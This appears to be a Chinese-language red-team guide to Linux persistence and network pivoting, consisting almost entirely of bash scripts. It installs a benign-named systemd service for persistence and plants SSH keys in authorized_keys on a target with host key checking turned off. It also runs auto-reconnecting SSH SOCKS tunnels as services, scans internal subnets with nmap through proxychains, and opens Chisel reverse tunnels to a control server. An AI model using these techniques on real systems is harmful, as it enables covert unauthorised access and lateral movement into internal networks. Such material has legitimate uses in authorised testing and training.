Bash 持久化與網路轉向技術實戰指南

#!/usr/bin/env bash

# 建立 systemd 服務單元檔案
sudo bash -c 'cat > /etc/systemd/system/system-monitor.service << EOF
[Unit]
Description=System Resource Monitoring Service
Documentation=https://internal.docs.example.com
After=network-online.target
Wants=network-online.target
ConditionPathExists=/usr/local/bin/monitor

[Service]
Type=simple
ExecStart=/usr/local/bin/monitor --daemon
ExecReload=/bin/kill -HUP \$MAINPID
Restart=on-failure
RestartSec=30
StartLimitInterval=200
StartLimitBurst=5
User=systemmonitor
Group=systemmonitor
WorkingDirectory=/var/lib/systemmonitor
StandardOutput=journal
StandardError=journal
SyslogIdentifier=system-monitor

[Install]
WantedBy=multi-user.target
Alias=sysmonitor.service
EOF'

# 重新載入 systemd 配置
sudo systemctl daemon-reload

# 啟用服務開機自動啟動
sudo systemctl enable system-monitor.service

# 立即啟動服務
sudo systemctl start system-monitor.service

# 檢查服務狀態
sudo systemctl status system-monitor.service

# 查看服務日誌
sudo journalctl -u system-monitor.service -f

#!/usr/bin/env bash

# 在測試控制端產生 SSH 金鑰對
ssh-keygen -t ed25519 -f ~/.ssh/test_access_key -N "" -C "test@control.local"

# 產生備用的 RSA 金鑰對(相容性考量)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/test_access_rsa -N "" -C "test@control.local"

# 讀取公開金鑰內容
echo "Ed25519 公開金鑰:"
cat ~/.ssh/test_access_key.pub

echo "RSA 公開金鑰:"
cat ~/.ssh/test_access_rsa.pub

# 在目標系統上配置授權金鑰
# 建立 SSH 配置目錄
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# 新增公開金鑰到授權清單
cat >> ~/.ssh/authorized_keys << 'EOF'
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG... test@control.local
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC... test@control.local
EOF

# 設定正確的檔案權限
chmod 600 ~/.ssh/authorized_keys

# 設定目錄與檔案的擁有者
chown -R $USER:$USER ~/.ssh

# 備份原始授權金鑰檔案
cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.backup

# 從測試控制端進行連線驗證
ssh -i ~/.ssh/test_access_key target_user@target_host

# 使用 SSH 配置檔案簡化連線
cat >> ~/.ssh/config << 'EOF'
Host target-system
    HostName target_host
    User target_user
    IdentityFile ~/.ssh/test_access_key
    ServerAliveInterval 60
    ServerAliveCountMax 3
    StrictHostKeyChecking no
EOF

chmod 600 ~/.ssh/config

# 簡化的連線方式
ssh target-system

#!/usr/bin/env bash

# 基本的本地連接埠轉向設定
# 將本機連接埠 8080 對應到內部伺服器的 HTTP 服務
ssh -L 8080:internal-web.corp.local:80 user@jump-host.example.com

# 透過本地轉向存取內部 Web 服務
curl http://localhost:8080

# 多重本地連接埠轉向配置
# 同時轉向多個不同的內部服務
ssh -L 8080:web-server:80 \
    -L 3306:mysql-server:3306 \
    -L 5432:postgres-server:5432 \
    -L 6379:redis-server:6379 \
    user@jump-host.example.com

# 使用背景模式建立持久隧道
ssh -f -N -L 8080:internal-web:80 user@jump-host

# 動態 SOCKS 代理模式
# 在本機連接埠 9050 建立 SOCKS5 代理伺服器
ssh -D 9050 user@jump-host.example.com

# 設定應用程式使用 SOCKS 代理存取內部網路
curl --socks5 localhost:9050 http://internal-server.corp.local

# 遠端連接埠轉向設定
# 將遠端主機連接埠對應回本機服務
ssh -R 8080:localhost:80 user@jump-host

# 建立完整的自動重連隧道配置
cat > ~/ssh_tunnel.sh << 'EOF'
#!/bin/bash

JUMP_HOST="user@jump-host.example.com"
LOCAL_PORT=9050
RETRY_DELAY=10

while true; do
    echo "[$(date)] 建立 SSH 隧道連線..."
    ssh -N -D ${LOCAL_PORT} \
        -o ServerAliveInterval=60 \
        -o ServerAliveCountMax=3 \
        -o ExitOnForwardFailure=yes \
        -o StrictHostKeyChecking=no \
        ${JUMP_HOST}
    
    echo "[$(date)] 連線中斷,等待 ${RETRY_DELAY} 秒後重試..."
    sleep ${RETRY_DELAY}
done
EOF

chmod +x ~/ssh_tunnel.sh

# 使用 systemd 管理 SSH 隧道服務
sudo bash -c 'cat > /etc/systemd/system/ssh-tunnel.service << EOF
[Unit]
Description=SSH Tunnel Service
After=network.target

[Service]
Type=simple
User=testuser
ExecStart=/home/testuser/ssh_tunnel.sh
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF'

sudo systemctl daemon-reload
sudo systemctl enable ssh-tunnel.service
sudo systemctl start ssh-tunnel.service

#!/usr/bin/env bash

# Proxychains 配置檔案編輯
sudo tee /etc/proxychains4.conf > /dev/null << 'EOF'
# Proxychains 動態鏈模式配置
dynamic_chain

# DNS 請求透過代理進行
proxy_dns

# 連線超時設定
tcp_read_time_out 15000
tcp_connect_time_out 8000

# 代理伺服器清單
[ProxyList]
socks5 127.0.0.1 9050
socks5 127.0.0.1 9051
EOF

# 驗證 Proxychains 配置
proxychains4 curl http://ifconfig.me

# 透過 Proxychains 執行網路掃描
proxychains4 -q nmap -sT -Pn -p 22,80,443,3389 192.168.1.0/24

# Chisel 伺服器端啟動配置
./chisel server \
    --port 8080 \
    --reverse \
    --socks5 \
    --auth "testuser:testpass" \
    --keepalive 30s

# Chisel 客戶端反向連線配置
./chisel client \
    --auth "testuser:testpass" \
    --keepalive 30s \
    https://control-server:8080 \
    R:socks \
    R:8080:internal-web:80 \
    R:3306:internal-db:3306

# 建立 Chisel 自動重連指令碼
cat > ~/chisel_client.sh << 'EOF'
#!/bin/bash

SERVER="https://control-server:8080"
AUTH="testuser:testpass"

while true; do
    echo "[$(date)] 建立 Chisel 隧道..."
    ./chisel client \
        --auth "${AUTH}" \
        --keepalive 30s \
        "${SERVER}" \
        R:socks \
        R:8080:internal-web:80
    
    echo "[$(date)] 連線中斷,等待重試..."
    sleep 10
done
EOF

chmod +x ~/chisel_client.sh